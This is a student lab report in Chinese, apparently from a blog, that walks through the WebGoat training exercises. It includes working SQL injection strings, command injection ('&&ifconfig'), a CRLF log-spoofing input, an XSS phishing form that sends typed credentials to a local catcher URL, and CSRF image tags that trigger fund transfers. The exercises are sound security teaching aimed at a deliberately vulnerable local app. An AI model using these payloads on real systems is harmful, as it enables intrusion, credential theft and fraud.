《网络攻防》Web安全基础实践
20145224陈颢文 《网络攻防》Web安全基础实践
基础问题回答
SQL注入攻击原理,如何防御:
- 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
- 程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;
XSS攻击的原理,如何防御:
- XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
- 程序员应该防止下发界面显示html标签,把</>等符号转义。
CSRF攻击原理,如何防御:
- 即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com
的transferFunds.do
页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。
实验总结与体会
穷则变、变则通、通则久;做攻击就是这样的,方法无非就那么几个,我们要做的是变着法子去运用这些方法来达到攻击目的。
实践过程记录
启动WebGoat
- 在终端使用指令
java -jar webgoat-container-7.0.1-war-exec.jar
,等待其显示信息: Starting ProtocolHandler ["http-bio-8080"]
;
- 打开浏览器,访问
localhost:8080/WebGoat
,登陆即可开始答题。
启动BurpSuite
- 在桌面左边的快捷栏找到,打开他,一直
next
就好; Proxy
->Options
,点击Add
,自行配置一个端口号,配好以后记得要勾选刚刚配好的那一条记录:
- 打开浏览器的设置页,
Advanced
->Network
->Settings
:
- 按照下图进行设置:
- 若需要将网页拦截下来的时候先点击
intercept
把他打开:
Injection Flaws
- Command Injection:命令注入,要求能够在目标主机上执行任意系统命令即可;
首先我们需要确定进行注入的位置,网页中并没有文本框,只有一个下拉的选项栏,所以我们只能修改这个下拉栏的值。有两种方式可以修改,可以使用BurpSuite
拦截再修改,也可以直接修改页面源代码;BurpSuite方法再周岐浩的博客里说的比较详细了,这里我就交大家使用修改页面代码的方法:
使用组合键Shift+Ctrl+C
查看页面源代码,鼠标单击下拉选项栏,这时候会自动的帮你定位到相应的代码段,找到其中一个选项,右键鼠标Edit As HTML
,这时候你就可以编辑它啦;
直接在选项后加上"&&ifconfig"
即可,然后回到网页,找到刚刚修改过的选项,提交! - Numeric SQL Injection:数字型SQL注入,要求通过注入SQL字符串的方式查看所有的天气数据;
这个和上一个实验很像,同样是得修改下拉栏,方法就不再赘述,在Value后加上or 1 = 1 --
即可; - Log Spoofing:日志欺骗,要求使用户名为“admin”的用户在日志中显示“成功登录”(实际上并没有成功);
这个实验主要是为了欺骗人眼,由于页面会将输入的用户名返回,所以我们可以在用户名上动手脚,输入用户名%0d%0aLogin Succeeded for username: admin
;
其中%0a%0d
是ASCII码的回车换行的意思,效果如下图:
- String SQL Injection:字符串注入,要求通过SQL注入将所有信用卡信息显示出来;
有文本框的题相对来说都比较轻松,输入' or 1 = 1 --
即可; - LAB SQL Injection【SQL注入实验】:
①String SQL Injection:字符串型注入,要求使用SQL注入绕过认证,实现无密码登陆;
先在密码栏输入' or 1 = 1 --
试试,发现根本输不了这么长,我们看看他的源代码,原来最长只能输入8位,那就改呗,把长度限定改为15,把文本框格式改为text
!
②本节课程只能在WebGoat开发版本上完成。跳过!
③Numeric SQL Injection:数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息;
首先通过Larry的账户登陆(密码为larry),我们先试着把Value的值改为Boss的对应值112,无果。又试着修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下112 or 1=1 order by salary desc
;
④本节课程只能在WebGoat开发版本上完成。跳过! - Database Backdoors:数据库后门,要求使用SQL注入修改员工工资;
如果熟悉SQL语句的话可以指定,修改信息用update
语句,具体注入语句为:101 or 1=1; update employee set salary=100000
- Blind Numeric SQL Injection:数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
盲注入的话真的很烦心,就是不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );
来猜测,利用折半查找的思想,我们最终确定答案为2364
- Blind String SQL Injection:字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
这和上一题思路一样,构造语句猜呗,只不过是猜ASCII的值罢了,答案是Jill;
每道题我都给大家翻译好啦,大家可以先自己试着去做,其实都不太难~
Cross-Site Scripting (XSS)
- Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
;
以下是代码示例:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
效果如下:
- Stored XSS Attacks:存储型XSS攻击,要求在信件中写入一个网页或弹窗;
那就加个弹窗呗<SCRIPT>alert('Hi,5224!');</SCRIPT>
- Reflected XSS Attacks:反射型XSS攻击,要求得到脚本访问信用卡表单字段;
示例代码如下:
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1){
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText;
while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}
</script>");
- Cross Site Repuest Forgery:跨站请求伪造,要求将跳转到指定网页的指令隐藏在图片中,将这图片放在邮件里发布;
伪造一个图片呗:<img src='attack?Screen=310&menu=900&transferFunds=5000'>
- CSRF Prompt By-Pass:绕过CSRF确认,要求制作两张图片,第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认,原理同上一个实验;
第一张图片和上一题一样;
第二图为:<img src='attack?Screen=284&menu=900&transferFunds=CONFIRM'>
- CSRF Token By-Pass :绕过CSRF Token,用脚本来获取令牌:
这我也不会啊,再研究研究吧
《网络攻防》Web安全基础实践的更多相关文章
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 20145335郝昊《网络攻防》Exp9 Web安全基础实践
20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155304 《网络对抗》Exp9 web安全基础实践
20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20145336 张子扬 《网络对抗技术》 web安全基础实践
2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145120黄玄曦《网络对抗》Web安全基础实践
20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...
随机推荐
- 第8步:安装Oracle
安装Oracle 注意,安装Oracle时需要以oracle用户身份执行,在那之前需要以root身份执行xhost+,即命令: 代码1 [root@sgdb1~]# xhost+ [root@sgdb ...
- map实现
/*PLSQL实现Map*/ --建立序列create sequence seq_map_param_id ;--建立参数表create table map_param(id number prima ...
- 解决 UIView 设置背景为UIImage图片变型问题[XXX setBackgroundColor:[UIColor colorWithPatternImage:XXX]];
[self.drawingViewsetBackgroundColor:[UIColorcolorWithPatternImage:[selfthumbnailWithImageWithoutScal ...
- Java基础数据类型的默认值
1.整数类型(byte.short.int.long)的基本类型变量的默认值为0. 2.单精度浮点型(float)的基本类型变量的默认值为0.0f. 3.双精度浮点型(double)的基本类型变量的默 ...
- 【BZOJ4590】[Shoi2015]自动刷题机 二分
[BZOJ4590][Shoi2015]自动刷题机 Description 曾经发明了信号增幅仪的发明家SHTSC又公开了他的新发明:自动刷题机--一种可以自动AC题目的神秘装置.自动刷题机刷题的方式 ...
- WebService之XFire和SOAP实例(基于JAVA)
开发环境:jdk1.6 + Tomcat7 + MyEclipse10 源码下载地址张贴在文章最后面:首先是使用WSDL协议实现:这里使用XFire XFire一个免费.开源的SOAP框架,它构建了P ...
- 前端代码tomcat下简单部署
软件 filezilla [ftp] + visionapp Remote Desktop[远程桌面] (前提:前后端代码分离,如前端angular实现) ftp上传到机器{软件 filezill ...
- Android REST webservice 类
App与后台交互,后台使用的是Jersey RESTful 服务.在APP端使用Android 内部集成的HttpClient接口,无需引入第三方jar包, import org.apache.htt ...
- 关于websocket
一句话总结: websocket可以说是基于HTTP但有有所进化的一个介于应用层和传输层的接口抽象,不是协议. 1 需要基于HTTP进行3次握手,4次挥手(在握手期间建立websocket连接,不再通 ...
- NPOI 操作office、word、excel
下载地址为:http://npoi.codeplex.com/releases/view/616131 可以操作excel表,行,单元格内家及样式等. 使用示例: usin ...